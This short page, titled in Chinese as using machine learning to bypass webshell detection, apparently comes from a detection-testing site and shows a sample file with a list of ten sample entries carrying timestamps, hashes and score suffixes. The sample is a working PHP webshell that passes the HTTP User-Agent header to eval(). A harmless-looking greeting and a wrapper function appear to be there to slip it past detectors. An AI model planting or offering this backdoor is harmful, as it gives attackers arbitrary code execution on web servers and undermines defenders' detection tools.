用机器学习实现WEBSHELL检测绕过Xyntax

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用机器学习实现WEBSHELL检测绕过Xyntax

Code:

  1. <?php
  2. date_default_timezone_set('Asia/Shanghai');
  3. echo 'hello CESAFE';
  4. function foo($a)
  5. {
  6.     return eval($a);
  7. }
  8. echo foo($_SERVER['HTTP_USER_AGENT']);

Last 10 files:

  1. 20180619-06:39:30_da9ddea246b961a3892b769db9eaaafa71ed69e8.sample_L_L_L_L_M
  2. 20180619-06:09:59_2372ec1c99c18b7a99f0951ceafb8c387d79047a.sample_L_L_M_M_M
  3. 20180619-06:09:46_3770bf9f779dc36dcff74fb9abdcdbe07274f7da.sample_L_L_M_M_M
  4. 20180619-06:09:08_da9ddea246b961a3892b769db9eaaafa71ed69e8.sample_L_L_L_L_M
  5. 20180619-06:48:29_1c23e12b2866a72875e7663dc6ac535d6e95fcbd.sample_M_M_L_L_L
  6. 20180619-05:40:46_d155fba2c89ccf7bdfe011b2320db56f82c40b66.sample_L_L_L_M_M
  7. 20180619-05:40:16_da9ddea246b961a3892b769db9eaaafa71ed69e8.sample_L_L_L_L_M
  8. 20180619-05:38:33_f6d5d698e0d61049c2130301f53f62b54bb75baa.sample_L_L_L_L_M
  9. 20180619-05:38:27_f6d5d698e0d61049c2130301f53f62b54bb75baa.sample_L_L_L_L_M
  10. 20180619-05:38:18_f6d5d698e0d61049c2130301f53f62b54bb75baa.sample_L_L_L_L_M
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